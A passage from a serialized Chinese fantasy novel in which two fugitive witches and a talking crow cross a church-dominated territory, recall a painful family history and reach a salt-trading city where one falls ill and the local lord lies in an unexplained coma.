梅拉冲着坐在对面的尤莉尔意味深长地挑了挑眉梢,一副“你看,我就说吧”的表情。 这下尤莉尔不得不佩服梅拉的先见之明了。 几乎是她们前脚刚抵达辉光小镇,后脚就发现雷德克里夫领的边境处出现了大量的士兵。 他们对过路的商人们进行了严格的检查, 连马车上的货物也不放过, 仿佛生怕她们变成一只苍蝇混入其中似的。 “走吧。”梅拉轻声示意尤莉尔。 她们本来就是下一楼用个早餐,没想到正好听到有客人在聊这几天发生的新鲜事, 还刚好与她们有关, 这才装作没吃完的样子多听了一阵。 现在见话题一路往男女之间的风流私事歪去, 梅拉顿时觉得没有再听下去的必要了。 尤莉尔跟上梅拉的脚步, 一同回了三楼各自的房间。 梅拉的房间里, 塞拉斯还躺在床上呼呼大睡。 这会儿不用再小心翼翼地藏匿行踪,她们总算能住上条件好一点的旅舍了。 塞拉斯躺在塞满了棉花的枕头和被子上,只觉得满足的幸福感扑面而来, 恨不得再睡上个三天三夜, 把这几天紧张地赶路带来的疲惫感一扫而空。 让塞拉斯真的睡上三天三夜是不可能的,但梅拉做主,她们还是能在辉光小镇多停留一天,好好恢复一下精神的。 “说起来,辉光小镇这个名字,和我们之前到过的黑绵羊镇、灰石镇,听起来像是两个不同的人起的。” 晚上, 终于睡饱了的塞拉斯站到桌子上, 一边往嘴里塞着面包,一边同梅拉闲聊道。 梅拉顺着塞拉斯的话回忆了一下,“莱克斯好像说过,这是因为加德纳领对教会十分推崇, 所以某一任领主在征求过国王的许可后,特意把地名全部改了一遍。” 改得更加符合教会的审美。 “听起来是个我们一旦暴露身份就会被所有人敌视的坏地方。”塞拉斯嚼嚼嚼,咽下了嘴里最后一小块面包。 “是啊,所以我们最好不要在这里呆的太久。” 甚至在离开加德纳领之前,塞拉斯也不能再站在梅拉的肩头偷懒,让梅拉带着它走了。 这里的人们对不寻常的事情十分敏感,每个人都仿佛活在一种无形的规矩之中。 尤其梅拉还发现,针对年轻的女人们,这种难以言喻的压迫感更加严苛,好像总有数道视线在暗中盯着她们,绝不容许她们干出任何出格的行为。 譬如随意在路上和人说笑。 梅拉站在窗边,一低头,就能看到每个在街上走动着的年轻姑娘脸上都保持着一副贞静的神态,仿佛是用同一个模子刻出来的一样。 因此即使梅拉与尤莉尔试图融入这种环境之中,身上那股独特的气质却仍然引来了不少注目。 “如果不是你们的口音听起来和我们加德纳领人没有区别,我都要怀疑你们是不是从其他地方偷跑来的了,毕竟我们加德纳领可养不出气质像风一样自由的姑娘。” 第二天早上,在梅拉下去享用早餐之前,来为梅拉更换床单的女帮佣无意地打趣了一句。 她的年纪看起来大约在三十岁上下,这或许也是她看起来没有暮气沉沉得像尊石塑的原因。 在加德纳领,当一个女人过了三十岁,人们对她的一举一动就好像失去了关注的兴趣,她也就从小心翼翼的处境中走了出来,能够自如地与人相处了。 甚至还能像这样,和陌生的客人开一个无伤大雅的玩笑。 梅拉笑了笑,面不改色地撒了个谎,“这大概也是我丈夫看上我的理由吧,他是个常年不着家的商人,那才是跟风一样抓都抓不住的男人。” “噢,你都有丈夫了?”女帮佣惊讶地上下打量梅拉,露出有些羡慕的眼神,“不过你的皮肤看起来可真是年轻,跟十六岁的女孩们差不多。” “这年头哪有超过二十岁还不结婚的女人呢?除非她的父母一点也不称职,完全不将她的婚事放在心上。”梅拉故意叹了口气。 “是这样没错,哪有一个好姑娘会将自己的青春蹉跎在家里。像我们镇上,十七岁还没嫁出去的都是令人头疼的老姑娘了,好在她们还知道每天到教堂里祈祷,祈求神明尽快让她们找到一个合适的丈夫……” 女帮佣絮絮叨叨地说了一些梅拉完全不爱听的话。 然而梅拉嘴角含笑,时不时还会附和上两句,让女帮佣很是满意。 于是当梅拉与尤莉尔下楼点餐时,不苟言笑的店主一反常态,竟然体贴地告诉她们,今天还有两块剩下来的熏鱼,一共只要二十枚铜币。 等尤莉尔看到盘子里婴儿巴掌大的熏鱼块,不由得好奇地压低了声音,问梅拉知不知道店主为什么忽然对她们改变了态度。 梅拉凑过去,小声地把刚才与女帮佣的对话一五一十地给尤莉尔复述了一遍。 “当女帮佣把我的事情说出去后,他们大概也终于不再怀疑我们两的来历了吧。”最后,梅拉道破了真相。 在这样一个人人都作风古板的小镇,即使梅拉与尤莉尔费心掩饰,还是难免露出与众不同的地方,让人生疑。 说不定在她们入住旅舍的第一夜,就已经让人不怀好意地盯上了,正时刻准备着向税务官告发她们呢。 意识到这一点,面对女帮佣装模作样的试探,梅拉才故意配合地撒了个谎。 虽然她看起来年轻,但早就有丈夫了。 虽然她看起来气质独特,但那是受到了丈夫的影响。 只需要一个莫须有的丈夫,就能够轻而易举地为梅拉竖起一面最无坚不摧的盾牌。 尤莉尔忍不住露出嫌弃的表情,只觉得镇子上的这些人难不成是疯了吗,“天呐,他们怎么会这么想?” “别忘了,整个加德纳领对教会都十分推崇。也就是说,不止在辉光小镇,这种情况在别的地方也一样。”梅拉漫不经心地喝了一口杯中的牛奶。 嗯,她果然还是更喜欢花草茶的味道。 尤莉尔对教会的了解其实并不深,只知道是教会和王室联手将她们女巫逼入了如今这种需要躲躲藏藏的处境之中,现在经历了这一出,让她对教会感到更加的深恶痛绝了。 她实在想不明白,这样的教会所供奉的神明,为什么还会有人上赶着信仰? 尤莉尔习惯了对事情追根究底,越是想不明白,越是想的出神,非要得出一个能够说服自己的理由才行,因此冷不丁被人扑上来时,她根本没有反应过来,甚至愣在了原地,一脸疑惑地看着眼前这个头发花白的老妇人。 “你叫什么名字?”老妇人哀哀切切地问。 她盯着尤莉尔的眼睛,十分专注,连眨都不敢眨一下,仿佛只要她一闭眼,眼前的尤莉尔就会忽然消失不见一样。 “我叫尤……”尽管不知道老妇人为什么要问她的名字,但尤莉尔依旧下意识地想要将自己的名字答出。 相信不管换做谁,看着老妇人这幅哀戚的情态都会觉得心下不忍吧。 “尤妮,你认识这位老夫人吗?” 梅拉突然开口,打断了尤莉尔。 她甚至上前一步,将傻乎乎的尤莉尔和莫名其妙钻出来的老妇人给隔开了。 “不、不认识。”尤莉尔看着梅拉的动作,不免感到一阵心虚,她好像又差点给她们惹来麻烦了。 “这样啊——”梅拉故意拖长了尾调,疑惑地看向老妇人,“那老夫人您是有什么事吗?为什么会突然找上尤妮呢?” “我……我……”面对梅拉的问题,老妇人巴巴地越过她,看向她身后的尤莉尔,“你叫尤妮是吗?你的父亲叫什么名字?是不是叫拉奥德?” 不曾想,一听到老妇人提起父亲一词,尤莉尔立刻变了脸色,她恨恨地丢下一句“我没有父亲”,便先一步离开了。 她们雇的马车正在不远处等着她们。 尤莉尔利落地钻入车厢,靠着厚厚的车壁隔绝了老妇人探究的视线。 老妇人见状,还想继续上前,凑到马车边与尤莉尔对话,却让梅拉给挡了下来。 “老夫人,尤妮说她不认识您,您或许是认错人了吧。” “不可能,她那双眼睛和拉奥德一模一样!”老妇人闻言,斩钉截铁地否认道。 “噢,是吗?可我怎么不觉得她的眼睛有哪里特别的?就是一双最常见的蓝眼而已。”梅拉无奈地摊手,“好了,我们要走了,希望您不要再跟上来了。” 梅拉的态度很客气,说话时仍然是笑吟吟的,却真的令那老妇人不敢再追上来,只能望眼欲穿地望着渐渐远去的马车,和空气中飞扬的尘土。 “嘿,你们别怪桑诺婆婆,她许多年前丢了唯一的儿子,从此以后每个长着蓝眼睛的陌生人出现在小镇上都会被她拦下来,但她对你们绝对没有恶意。” 启程后,马车夫替被马车甩在身后的老妇人向梅拉她们解释了一句。 整个辉光小镇都知道桑诺婆婆的故事,也可怜她一个寡居的妇人丢了唯一的孩子。尽管他们总觉得,那个叫拉奥德的年轻人是故意抛下逐渐年老的母亲的,又不是小孩子,难道还能被人拐走吗? “我们没有怪她,她也只是一个可怜的老妇人而已。唉,怎么会有这么狠心的儿子呢,竟然舍得就这么丢下自己的母亲不管。” 梅拉看了一眼冷脸的尤莉尔,主动转移开了马车夫的注意力,让他一门心思地开始唾骂起了这位传说中忽然消失了的“拉奥德”。 第64章 第 64 章 [尤莉尔的父亲] 尤莉尔等了好一阵, 都没等到梅拉好奇地问有关她父亲的事情。 尽管梅拉问了,她也不一定乐意说,但看着梅拉悄悄将塞拉斯从车窗外抱进来,和它一起靠着车壁闭目养神的样子, 尤莉尔心中又多了些难言的郁闷。 梅拉不知道尤莉尔在想什么。 早在当初尤莉尔提及她是被艾莉卡这个姨妈养大的时候, 梅拉就嗅到了一些或许有些难以启齿的过往,譬如尤莉尔的父母对她来说大概是块不能揭穿的伤疤。 梅拉虽然有时候坏心眼了一点, 就喜欢逗人玩, 不管是莱克斯还是塞拉斯都经常对她露出无可奈何的表情, 但她还没到要拿别人的痛处取乐的地步。 这完全是混蛋行径。 但梅拉全然没想到, 尤莉尔会因为她的体贴变得更加别扭了。 “你到底在别扭什么?” 梅拉直白地问出了口。 这两天尤莉尔看着她, 总是一副欲言又止的样子,梅拉又没有眼瞎,当然将她这古怪的态度看得一清二楚。 只是梅拉也有点摸不着头脑, 有什么事情是尤莉尔对着她想说却说不出口的呢? 如果是莱克斯那样心思深沉的性格也就算了, 梅拉知道他对她隐瞒了诸多秘密,但莱克斯不说,梅拉也就懒得问,总归他暗中筹划的事情与她无关。 但尤莉尔的性格堪称直来直往,连对梅拉的嫉妒,都毫不客气地直接说了出来,一点也不担心梅拉是否会因此对她多出怎样的想法。 所以, 令尤莉尔难以启齿的那件事到底是什么? 梅拉有些好奇, 也就那么随口问了出来。 “……你真的想知道?” 又来了,尤莉尔又端出了那幅欲言又止的姿态。 “其实也没那么想。”梅拉沉吟。 “就算你不想听我也要说。”尤莉尔没好气地道。 让梅拉这么一激,好像原本卡在喉咙里的话顿时就能顺溜地滑出来了似的。 尤莉尔道:“我是姨妈养大的,我从没见过我的父亲, 也没见过我的母亲。” 小时候,尤莉尔懵懵懂懂地学着艾莉卡教她的,一声声地唤她“姨妈”,却从没想过自己是否应该有别的亲人。 直到有一回她偷偷溜下山,躲在树后面,看着一个跟自己差不多的小女孩拽着一个女人的衣袖,喊她“母亲”。 “母亲母亲,我想要养只小羊羔。” 女人用十分无奈的语气道,“你昨天还想养小鸭子,怎么今天又想要养小羊羔了?” 女孩的回答,尤莉尔没有听到,因为她揣着疑问,迫不及待地又回到了山上。 “尤莉尔,你这是从哪跑回来了?怎么脸蛋还红扑扑的,待会儿可不许拿一身汗来抱我。”艾莉卡懒洋洋地道。 她刚从午睡中醒来,忍不住打了个哈欠。 “姨妈,我也有母亲吗?”尤莉尔却一反常态,没有回答艾莉卡的问题,而是直白地问道。 冷不丁打了艾莉卡一个措手不及。 也让艾莉卡陷入了一瞬的哑然。 很快,她收拾好眼里的情绪,用惯常慵懒的语调道,“当然,如果没有你的母亲,你以为你是从哪里出生的?” “难道是星星送给我的孩子吗?”艾莉卡戏谑地道。 既然这样的话,“那我为什么从没见过我的母亲呢?”尤莉尔不明白。 她今年六岁,见过的人屈指可数,一个是艾莉卡,一个是艾莉卡的朋友,那同样是一名深居简出的女巫。 “因为你的母亲,我的姐姐,已经被你的父亲亲手害死了。” 艾莉卡在尤莉尔的面前蹲下来,直直地与她对视。一点也没有任何顾忌的,把真相告诉了尤莉尔。 哪怕真相是如此的残酷。 而就在艾莉卡那双琥珀色的眸子里,倒映出了一个小小的尤莉尔,以及她那头与艾莉卡如出一辙的深红色长发。 艾莉卡的姐姐,同样有着这样漂亮的红发。 尤其艾莉卡和姐姐还是双胞胎,光从背影来看,就算是她们的母亲也要犹豫好一会儿,才能认出谁是谁。 现在,艾莉卡万分怀念地抚上尤莉尔这头红发,好像这样就能通过尤莉尔缅怀她的姐姐一样。 然而长久地对上尤莉尔的眼睛,却让艾莉卡深吸了一口气,才没有控制不住地露出嫌恶的表情。 “你这双眼睛,和你的父亲长得一模一样,但他是个十足十的小人,虚伪的阴谋家,恶心的背叛者。” “但你是我姐姐生下的孩子,你是一名天生的女巫,你注定和你的父亲不一样。” 艾莉卡摸了摸尤莉尔的脑袋,道。 “我知道了。”尤莉尔惨白着脸色,从此之后绝口不再过问有关她的父母的事情。 只有一点,她恨透了她的父亲。 也因此,当尤莉尔隔着车厢,听到那名叫桑诺的老妇人对梅拉说她的眼睛和她的父亲长得一模一样时,连指甲都愤恨地掐进了肉里。 仿佛一点也没感觉到疼似的。 如果可以,尤莉尔才不要和那个男人有一丝一毫的相似。 “反正你是艾莉卡养大的,跟那个男人本来就没有关系。”塞拉斯忽然道。 这会儿她们依旧坐在马车里,即将抵达下一个目的地,梅拉又一次趁着马车夫不注意,悄悄将塞拉斯抱回了车厢内。 它也跟着梅拉听完了尤莉尔的故事。 在梅拉沉默的空隙中,塞拉斯率先伸出翅膀,拍了拍尤莉尔的肩膀,作出了安慰的样子。 “就像我是梅拉养大的,和我的乌鸦父亲、乌鸦母亲早就没有关系了,我只要全心全意地跟着梅拉就行。” 同理,在塞拉斯看来,尤莉尔也只要全心全意地跟着艾莉卡生活下去就好。 她要在意值得在意的人。 而不是把自己搞得那么苦大仇深的样子。 这样它都不好因为尤莉尔嫉妒梅拉,光明正大地讨厌尤莉尔了。 “……你原来还讨厌过我吗?”尤莉尔懵了一瞬。 她怎么完全没有感觉出来。 “我!你都没发现这一路上我只和梅拉说话,从来没和你说过话吗?”塞拉斯炸毛了。 它不怕被尤莉尔发现自己讨厌她,但它的讨厌被尤莉尔无视了却绝对不行。 说到底,如果它讨厌的人不知道自己被它讨厌了,它还怎么给对方添堵呢? “你是梅拉的宠物,只和梅拉说话不是理所当然的事情吗?”尤莉尔反问回去。 十分的有理有据。 气得塞拉斯那双黑溜溜的豆豆眼似乎都瞪大了一些。 这时,前头传来马车夫的声音:“刚刚是谁在说话?我怎么听到了一道粗嗓子?” “有吗?或许是你听错了吧,刚才明明只有我们两在说话。”梅拉说着,眼疾手快地把塞拉斯又通过打开的车窗塞了出去。 因此下一刻,马车毫无预兆地停下来,车门被打开,梅拉与尤莉尔也丝毫不担心地迎上了马车夫怀疑的打量。 马车夫的视线在车厢里转了一圈,确认没有别人后,奇怪地挠了挠头,只能怀疑起自己的耳朵了。 或许刚才真的是他听错了? * 又过了几天,梅拉与尤莉尔一路辗转,几乎将大半个加德纳领走了一遍,才终于绕回了正确的方向。 如今,她们按照星星的指引,一路向东出发。 只不过几乎是刚离开加德纳领,就连空气好像都不一样了,变得鲜活、自由起来。 尤莉尔甚至夸张地深呼吸了好几口,仿佛迫不及待地想要甩开什么脏东西一样。 梅拉则看着眼前这座尽管比金橡城小了一些,却同样人声鼎沸的城池,后知后觉地意识到了弗霍斯特领似乎真的很富有。 当初莱克斯说过什么来着? 梅拉回忆了一下。 貌似是弗霍斯特领提供了大半个王国所需的海盐。 而弗霍斯特家族靠着这项产业,世代积累的财产连王室都觊觎不已。 如果斐南基是个男人,或许当初成为王后的大概就不是莉莉勒斯,而是他了。 犹记得当时梅拉还好奇地问过莱克斯,难道这一代的弗霍斯特家族就没有适合嫁给努伦格尔九世的姑娘吗? 莱克斯看了梅拉一眼,一切顿时尽在不言中。 是的,没有,每一代弗霍斯特的家主不知道为什么,愣是只有寥寥几个孩子,膝下空荡得可怜。 等轮到斐南基出生,他的母亲往后十几年更是再也没有怀上过第二个孩子。 不过,弗霍斯特家的孩子们倒是一个个都很出色。 在斐南基离开领地,前往王城担当宰相的这些年里,都是他的姑姑琼斯夫人替他处理领地内的事务。 梅拉和尤莉尔走进城,到处都是叫卖的声音,每个人的脸上都洋溢着热情,甚至还有摊贩会招呼路过的她们尝一尝刚从树上摘下来的果子,不要钱。 梅拉接过了那颗圆润饱满的橙子,还没撕开,已经嗅到了清新的果香。 难以想象,这还只是一座坐落在弗霍斯特领边境的小城而已,若是到了领地的中心,名为白晶城的地方,也不知道会不会比眼前这一幕还要更加热闹百倍。 第65章 第 65 章 [这或许是女巫捣的鬼]…… 白晶, 其实就是弗霍斯特领的人们对盐的美称。 那白花花的,像水晶一样剔透的盐,可不就是白晶吗? 然而同样都是上等盐,白晶城中出售的价格却比其他地方足足便宜了五分之一。 想想也正常, 毕竟盐在弗霍斯特领一点都不稀罕, 也不需要靠马车运输到更远的地方进行售卖。 看着面前干净又细腻的盐粒,梅拉大手一挥, 就买了一小袋上等盐。 等她回到旅舍, 便敲响了尤莉尔的房门。 “有什么事吗?”尤莉尔打开门。 梅拉看着她一脸菜色, 递出了手里的盐袋, “你不是说身体不舒服, 没有胃口吗?我给你买了点盐回来。晚上入睡前吞点盐,可以防止把身体饿坏了。” “你从哪里知道的这个法子?”尤莉尔一脸狐疑地接过盐袋。 怎么梅拉知道,她却从来没有听说过呢? “这是我父亲教我的, 他是一名医士。”梅拉轻描淡写地答。 “医士?” 见尤莉尔脸上的疑惑不像是假的, 梅拉默然一瞬,解释道,“就是专门给别人治病的人。” “原来生病了还要专门找人治病吗?” 尤莉尔回忆她这些年为数不多生病的日子,都是自己去找草药再熬制成药水。 然而她们现在身处白晶城,尤莉尔即使忽然身体不适,也只能靠自己硬熬过去。 好在不算什么大问题,只是吃不下东西而已。 刚才尤莉尔试着逼自己吃点豆子煮的糊糊, 结果吐得昏天黑地, 差点没力气从床上爬起来给梅拉开门。 “普通人生病了又不懂得什么样的草药能够治好他们的病,当然只能找懂的人来治了。” 梅拉见尤莉尔的脸色越来越苍白,体贴地道,“行了, 我不打扰你了,你好好休息吧。” 透过还未完全合上的门缝,一声轻轻的“谢谢”挤了出来。 梅拉勾了勾唇,笑了,转身回了自己的房间。 没想到第二天,尤莉尔的情况仍然没有好转,她依旧没有胃口,甚至到了闻到食物的味道也会想吐的地步。 梅拉久违地感到了一丝棘手,她也弄不明白尤莉尔为什么会这样,明明刚抵达白晶城的时候,尤莉尔看起来还是挺健康的。 好像只是睡了一觉,尤莉尔的状态就莫名其妙的变差了。 或许真的该给尤莉尔请个医士来看看? 梅拉没有犹豫太久,从热情的旅舍店主口中打听到了附近最有名气的一位医士,跟着他指的路来到了一栋平平无奇的屋子前。 “你是来找我父亲的吗?”一个矮个子的小姑娘从屋子里跑了出来,一双大眼睛忽闪忽闪地盯着梅拉。 梅拉笑着俯身,“你的父亲就是亚伦医士吗?” “嗯嗯!”她重重地点了点头。 “但我父亲现在不在家哦,他被召集去了领主大人的庄园,好像是有一位大人物生病了。” “这样啊。”梅拉摸了摸她的脑袋,“没关系,那我去找别的医士好了。” “可是,整座白晶城有点名气的医士都在昨晚被领主大人召集走了呢。”她为难地告诉梅拉。 “你确定吗?”梅拉唇边的笑意收敛了起来,认真地问。 “我确定哦,因为昨晚领主大人派来接我父亲的马车上,就坐着汉姆伯伯、赞克叔叔……”她用手指头数了数,一连数了七八个人出来,“这些都是我父亲说过的,城中很厉害的医士。” 也就是说,目前梅拉即使能找到别的医士,也是医术不怎么样的那种,未必能治好尤莉尔的病。 “我明白了,谢谢你告诉我这些。” 梅拉告别这个不到自己腰际的小姑娘,一面往回走,一面思考到底是哪位大人物生病了,值得动用这么多厉害的医士围着他转。 最简单的一种可能,就是弗霍斯特侯爵,即斐南基病了。 但也说不准,或许是斐南基的姑姑,那位著名的琼斯夫人病了呢。 总不可能是莱克斯病了吧。 梅拉脑中忽然划过这样一个滑稽的念头。 她笑着摇了摇头,莱克斯怎么可能在这里,他不是应该回到王宫之中了吗。 就算不在王宫,也不应该跑到离王城这么远的弗霍斯特领才对。 她还是想想尤莉尔的病该怎么办吧。 “尤莉尔的情况怎么样了?” 回到位于旅舍二楼的房间,梅拉问塞拉斯。 因为尤莉尔一直吃不下东西,连站起来的力气都没有了,梅拉出门前特意拜托了塞拉斯去守着她。 哪怕只是帮忙递杯水也好。 “她睡着了。你出去之后,她又试着吃了一小块面包,还是控制不住,全部都吐了出来。”塞拉斯一五一十地道。 梅拉听后拧了拧眉,“让她老老实实地躺在床上休息吧,否则她的身体只会被她自己折腾得更加虚弱。” “我也是这么想的,但她一点也不听劝!” 塞拉斯总算找到了告状的机会,当即道,“我都说了我们已经来到了白晶城,找人的事不急,偏偏她就是不听!她肯定是不相信你一个人就能找到艾莉卡!” 白晶城这么大,足足是金橡城的两倍有余,尤莉尔有这个担心也很正常。 万一她们找的动作太慢,艾莉卡又离开了白晶城该怎么办? 梅拉倒是能理解尤莉尔的心急,但她的身体却一点也急不来。 “说起来,你要找的医士没有找到吗?”塞拉斯刚才从窗外挤进来前,还特意从窗缝观察了一下梅拉身后有没有站着一个陌生的人。 若是有陌生人在,塞拉斯就把已经伸出去的爪子收回来,将自己牢牢藏在窗后,等人走了再说。 “没有,整座白晶城有点本事的医士目前都不在城中。”梅拉解释道。 “不在城中?那他们去了哪里?” “说是都在领主的庄园里。” “为什么?弗霍斯特领的领主难道生病了吗?”塞拉斯好奇地追问。 “我也不知道,不一定是领主生病了,但我们现在只能等他将这些医士放回来。” 塞拉斯“啊”了一声,想说点什么,又想到自己乌鸦嘴的威力,赶紧用翅膀捂住了自己的嘴巴。 即使它的话没来得及说出口,梅拉也清楚塞拉斯在想什么。 那就是万一领主迟迟不放人,尤莉尔该怎么办? 她看上去可不见得能撑太久的样子。 更何况人怎么能一直不吃东西呢?就算不生病,也容易被饿死。 “我明天再去看看吧。”梅拉只好道。 “嗯嗯。”塞拉斯疯狂点头,除此之外,她们也没有更好的办法了。 * 白晶城外,弗霍斯特庄园。 鞋跟急促地敲打过地面,空荡荡的走廊里,迎面走来一位衣裙华丽的女人。 她的面容如同夜色下的玫瑰花一样美丽,却因为不苟言笑的神情,往往让人不敢将视线过多地在她的脸上停留。 她的身后跟着几名侍女,一行人急匆匆地走到了某个房间外。 “琼斯夫人。” 守在门外的两名侍从纷纷低头,向女人的到来表达敬意。 “开门。”琼斯夫人言简意赅地道。 侍从便一人拉住半扇门,手下用力,露出了房间内的情形。 这间历代由弗霍斯特侯爵居住的房间,无论是装饰还是摆设,自然都超出普通人想象的华贵。 琼斯夫人走进来之后,先是来到床边看了看躺在床上,双眼紧闭的斐南基,然后才用严肃的眼神打量站在床尾的一干人。 他们都是她昨晚从白晶城中请来的医士。 “还没确定斐南基到底得了什么病吗?为什么忽然从昨晚开始昏迷不醒?现在有没有办法让他先醒过来?” 琼斯夫人一连提出的三个问题,把医士们问得哑口无言。 但不回话是不行的,他们之中必须得有人硬着头皮告诉琼斯夫人,斐南基的状况。 只是谁也不乐意当这个冒险者,只好面面相觑,试图用眼色逼迫别人主动。 最后还是平时心地最好的亚伦走了出来,替其他人解围道,“琼斯夫人,我们花了一天时间为领主大人检查身体,但并没有检查出任何会导致领主大人昏迷不醒的原因。” 不知道原因,他们也就想不到合适的办法让斐南基醒过来。 “如果他一直醒不过来,会怎么样?”听了亚伦的陈述,琼斯夫人依旧是那副没有一丝波澜的表情。 “……那我们或许就要为领主大人敲响丧钟了。”亚伦艰难地道。 毕竟一直昏迷下去,无法进食,身体很快就会消瘦、干瘪,只剩一副皮囊挂着骨头。 到时候斐南基随时都有可能断掉呼吸,彻底投入死亡的怀抱。 “我再给你们三天时间,无论你们想要在斐南基身上做什么尝试都可以,只要能让他醒过来。”琼斯夫人闭了闭眼,迅速有了决断。 “这……”亚伦回头看向自己交好的医士,汉姆和赞克。 他们纷纷朝他摇了摇头。 亚伦复又看向其他人。 其他人也是同样的反应。 “怎么?你们是没办法,还是不敢按我说的话来做?”琼斯夫人将亚伦等人的小动作尽收眼底,不耐烦猜他们在打什么哑谜,直接出声询问道。 “其实,我们都在猜,领主大人昏迷不醒或许不是因为生病了。”亚伦小心翼翼地道。 琼斯夫人用眼神示意他尽快把话说完。 不是生病是什么? 中毒? “说、说不定是女巫的神秘药剂所造成的药效呢……”亚伦的声音越来越低,最后几不可闻,仿佛蚊子嗡响。 说实话,他们都是数代扎根在白晶城中的医士,却没有一个人认得出斐南基得了什么病,其中显然不对劲。 “不可能!我们的领地里怎么会有女巫?”琼斯夫人一口打断亚伦的话,态度格外笃定。 她作为贵族,很清楚自从经过王室和教会的打击,至少在一百年前,女巫就已经在人群中销声匿迹。 怎么会在现在忽然冒头呢? 就算她们对现状愤恨不甘,也不应该盯上斐南基才对。 琼斯夫人的眼底流露出一丝复杂的情绪。 转瞬即逝。 第66章 第 66 章 [疑似艾莉卡出现了] “亚伦医士还没有回来吗?” 夕阳西下的时分, 暮色烧起一簇簇的烟霞,梅拉重新来到了亚伦医士的住处。 却从他年幼的女儿嘴里得到了一个坏消息。 “父亲还没有回来呢。” “也不知道他什么时候会回来。” “这样啊。”梅拉摸了摸小姑娘的头,没有纠缠,复又踏上了回旅舍的路。 或许是因为情况已经坏到了一种糟糕的地步, 尤莉尔的身体竟然勉强维持了一种虚弱的平衡, 即除了失去力气只能躺在床上之外,暂时没有更令人头疼的事情出现。 梅拉临出门前, 又把昏睡中的尤莉尔拜托给了塞拉斯, 塞拉斯冲她挥了挥翅膀, 表示就放心交给它吧, 一定没问题。 在梅拉兀自思索间, 眼角的余光好像捕捉到了一抹熟悉的红色。 她猛地转头。 身体比思绪下意识先动起来。 迈开的脚步便朝着那道有些熟悉的背影追了过去。 几乎在梅拉动起来的瞬间,那道背影似乎也意识到自己被人盯上了,同样不甘落后地跑起来, 当机立断地拐入了另一条街道。 不好! 梅拉再一次加快脚步, 人跑出去了才留下一道“抱歉”飘荡在风中,供那些不慎被她挤开的人听个响。 然而那道背影的主人对白晶城似乎很是熟悉,至少比梅拉这个才来两天的外城人要熟悉得多,始终远远地将梅拉甩在身后,甚至逐渐拉开了更大的距离。 眼看着那抹红色就要消失在眼角,梅拉咬牙,三步并作两步跨出拐角, 眼睛下意识地因为眼前突然出现的这一幕而微微瞪大: 摩肩擦踵的热闹集市中, 不停有抱着木箱子的男人或女人拦住过往的行人,试图将摆满箱子的新鲜食物和小玩意儿兜售出去。 也有半大的少年站在自家的木招牌前,朝行人吆喝这里有最甘甜的果子和最便宜的果酱。 而梅拉刚刚试图追逐的那道身影,早已趁机匿入人群之中, 就像水滴遁入海洋似的,再也没法轻易找到了。 “……”梅拉沉默片刻,转身绕出了这里,重新踏上了回旅舍的路。 她确信,刚才那道身影十有八九就是艾莉卡无疑。 那个熟悉的披着兜帽的打扮,偶然掉落出来的一缕红发,都让梅拉眼熟无比。 只不过,若她是艾莉卡的话,为什么要把自己藏起来?又为什么如此警惕别人对她的注意? 她是在躲什么人吗? 梅拉正是考虑到了这一点,才没有直接叫破艾莉卡的名字,她担心盯上艾莉卡的人此刻就在这附近,而她这一举动只会给艾莉卡带来麻烦。 可是,眼睁睁地看着艾莉卡就这么从面前逃走,梅拉心中自然也生出了一股难言的郁闷。 她和尤莉尔千辛万苦来到白晶城,就是为了寻找艾莉卡,结果就这么看着人跑了。 “梅拉,你回来啦。” 梅拉刚敲开尤莉尔的房门,塞拉斯就急哄哄地冲了上来。 梅拉接住塞拉斯,看向靠着枕头从床上坐起来的尤莉尔,“你醒了。” 即使勉强坐起来,尤莉尔的精神也是肉眼可见的差劲,嘴唇更是发白得像是下了一场初雪,刺起几块干燥的皮。 当她开始说话,皮与皮之间摩擦出堪称嘶哑的声音来:“你不用再替我的病烦恼了,总之再差也不会比现在更差了。还不如你把全部心思放在替我寻找姨妈上,等找到姨妈,我们离开白晶城,相信我很快就能好起来。” “就怕我还没找到艾莉卡,你先撑不下去了。”梅拉辛辣地指出。 “那你说怎么办!难道要一直这样干耗下去吗?”尤莉尔的情绪瞬间激动起来。 如果说一开始,尤莉尔还不把这点小小的毛病放在心上,只觉得或许是自己初来乍到白晶城,不适应这里的水土,睡一觉就好了。 但在亲自感受着自己的身体糟糕下去,一边是虚弱得手都抬不起来,一边是连意识都仿佛变得灌了铅一样沉重,尤莉尔慌了。 她看着梅拉为自己忙碌,心中的负担却越来越重,她不要成为一个累赘。 她要让梅拉放下她,一心一意去寻找艾莉卡,这才是她们此行的目的。 “倒也不算是干耗下去。” 面对尤莉尔的失态,梅拉一如既往地镇定自若。 “我刚才看见艾莉卡了。”梅拉轻飘飘地丢下一句。 “什么?”尤莉尔惊讶地看向梅拉。 “那你……” “但她好像担心被人追踪,想办法把我甩开了。”梅拉补充道。 她觉得艾莉卡大概根本没认出追她的是谁。 “这到底是……怎么一回事?”尤莉尔费劲地问。 明明梅拉也没说几句话,却已经把她脑子里搅拌得像一团乱糟糟的浆糊。 梅拉摊手,表示,“或许只有等我再一次遇见艾莉卡,问过她才能知道了。” 现在么,只能毫无根据地胡乱猜测,即猜了也没用。 至于尤莉尔。 梅拉对她没什么要求,“你就安心躺在床上养病吧。” “接下来我会多出门逛逛,或许很快就会再一次误打误撞地遇上艾莉卡了呢?” 毕竟命运这种东西,最奇妙不已了。 * 自从斐南基病倒之后,整座弗霍斯特庄园仿佛被一团浓重的乌云笼罩,每个人都战战兢兢的,生怕弄出的声响惹了琼斯夫人不快。 即使如此,就在斐南基病倒的第二天,琼斯夫人还是安排管事们将所有仆人统统召集起来,逐一调查有关斐南基生病的原因。 “夫人,您要的茶。”琼斯夫人的贴身侍女为她端来一杯刚泡好的热茶。 琼斯夫人接过茶杯,浅浅吹散了茶面上的白雾,缀饮了一口,缓解了些许喉咙中的干涩感。 一整个白天,她都在不停地审问庄园里的仆人们。 哪怕她不相信那些医士说的话,认为斐南基的昏迷不醒或许与女巫有关,但就算不是女巫,是别的人,也不妨碍琼斯夫人如同抽丝剥茧一样,试图找出幕后黑手。 起码他们要想对斐南基下手,必须得进入弗霍斯特庄园才行。 而他们一旦进入了弗霍斯特庄园,就一定会留下蛛丝马迹。 琼斯夫人要找的,就是这点蛛丝马迹。 她打算顺藤摸瓜,将对方的意图摸清了,才好想办法进行反制。 然而一整天过去了,琼斯夫人并没有从哪个仆人的口中得到想要的线索。 面对琼斯夫人的发问,他们不停地面面相觑,却不约而同地回答到,这段时间并没有陌生人试图混进庄园里来。 事实上,想要进入弗霍斯特庄园谋一份差事并不是一件简单的事。 